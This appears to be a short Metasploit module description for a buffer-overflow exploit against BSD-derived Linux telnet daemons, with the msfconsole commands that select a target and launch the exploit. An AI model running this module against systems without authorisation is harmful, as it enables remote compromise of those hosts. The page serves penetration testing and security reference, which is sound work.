This module exploits a buffer overflow in the encryption option handler of the Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions use NetKit-derived telnet daemons, so this flaw only applies to a small subset of Linux systems running telnetd.
Linux
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/telnet/telnet_encrypt_keyid
msf exploit(telnet_encrypt_keyid) > show targets
...targets...
msf exploit(telnet_encrypt_keyid) > set TARGET < target-id >
msf exploit(telnet_encrypt_keyid) > show options
...show and set options...
msf exploit(telnet_encrypt_keyid) > exploit
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